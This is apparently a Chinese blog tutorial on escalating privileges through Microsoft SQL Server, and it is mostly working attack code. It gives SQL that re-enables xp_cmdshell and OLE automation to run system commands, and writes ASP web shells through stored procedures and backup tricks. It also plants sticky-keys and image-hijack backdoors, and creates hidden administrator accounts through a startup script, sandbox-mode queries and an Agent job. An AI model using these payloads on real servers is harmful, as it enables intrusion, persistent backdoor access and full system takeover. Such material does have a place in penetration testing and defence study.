前言

我们在提权的过程中,如果遇到无法使用系统溢出漏洞进行提权的时候,我们就可以尝试使用数据库进行提权,不过使用数据库提权有相应的条件,一般情况下需要我们服务器开启数据库服务以及获取到最高权限用户的密码,处理Access数据库之外,其他数据库都存在数据库提权的可能。针对于数据库密码的获取一般情况下可以通过数据库配置文件获取。

MSSQL提权

xp_cmdshell提权

xp_cmdshellmssql2000中是默认开启的,不过在mssql2005之后的版本中则是默认关闭的,如果我们想要继续使用它,只有在我们是管理员SA权限得到情况下使用sp_configure重新开启xp_cmdshell命令,如果mssql被降权那么我们也无法完成提权。

之前我们也提到了,默认情况下是关闭xp_cmdshell的,如果要开启xp_cmdshell我们需要有sa权限,所以这里我们代码的演示就直接在mssql中进行操作,这里sqlserver的版本是2005。

查看xp_cmdshell是否被删除

我们使用sa账户登录到数据库之后,在数据库->系统数据库->master->可编程性->扩展存储过程->系统扩展存储过程z中我们可以看到sys.xp_cmdshell这个命令,如果这个命令不存在那就说明,这个命令被删除了,如果命令存在但是无法使用,那就说明命令被禁止了。

恢复xp_cmdshell命令

首先我们测试xp_cmdshell命令是否可以使用

EXEC master.dbo.xp_cmdshell 'whoami';

我们可以看到,命令被禁用了,接下来我们启用xp_cmdshell命令

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

第一条语句是开启编辑状态,第二条语句是将xp_cmdshell设置为可用。

紧接着我们就可以继续测试xp_cmdshell时候可用以及当前用户权限

我们可以看到权限是system,不过我在另一个2008的系统mssql2012版本测试的时候遇到了被降权的情况,我们同样使用如上命令,返回的权限是network server,如果被降权那就无法完成提权。

无论结果怎么样,我们还是要善后的,将xp_cmdshell命令修改为禁用

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

sp_oacreate提权

sp_oacreateSQL Server实例上创建OLE对象实例,我们在遇到xp_cmdshell被删除的情况下可以尝试使用这个命令来提权。默认情况下这个命令也是被禁用的,我们接下来继续恢复并执行其他命令。

恢复sp_oacreate并执行命令

开启存储过程来恢复sp_oacreate命令的使用

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;  

执行whoami命令并输出到C盘下的1.txt

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';

sp_oacreate的其他操作

删除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token

复制文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'

移动文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'

替换粘滞键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo i=out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'

启动项中写入添加账户脚本

declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

COM组件的利用(cmd.exe可以自行上传)

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; 
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

四种文件写入的方法

这几种文件写入的方法需要满足物理路径已知,拥有sa权限。

第一种存储过程写文件

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

第二种存储过程写文件

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--

第三种,log备份

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'c:\' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'c:\2.asp'

第四种,差异备份

backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

沙盒提权

在SQL2005中默认禁用Ad Hoc Distributed,执行命令时,会提示错误,所以我们需要手动开启。这种提权的方式一般很少用到。

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

恢复对注册表的读写

dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修复沙盒的维护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

查看SandBoxMode的值是否已经变成了0

沙盒模式参数含义:

沙盒模式SandBoxMode参数含义(默认是2)

  • 0:在任何所有者中禁止启用安全模式
  • 1 :为仅在允许范围内
  • 2 :必须在access模式下
  • 3 :完全开启
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

创建账户

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

添加到管理员组

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

如果遇到问题参考这里的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html

恢复配置

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

JOB提权

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

接下来我们创建任务x,执行添加账户的命令,然后将命令返回结果输出到q.txt中。

use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';

执行成功,这个报错应该是同时执行多条语句导致,我们可以看到最终添加了指定的账户。

利用镜像劫持提权

首先我们利用regwrite函数修改组册表进行劫持,这里如果regwrite执行失败参考上面的开启方法。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

接着我们查看是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

紧接着我们远程连接桌面,然后连续按5次shift就可以调用cmd窗口

最后修改:2020 年 09 月 20 日 05 : 51 PM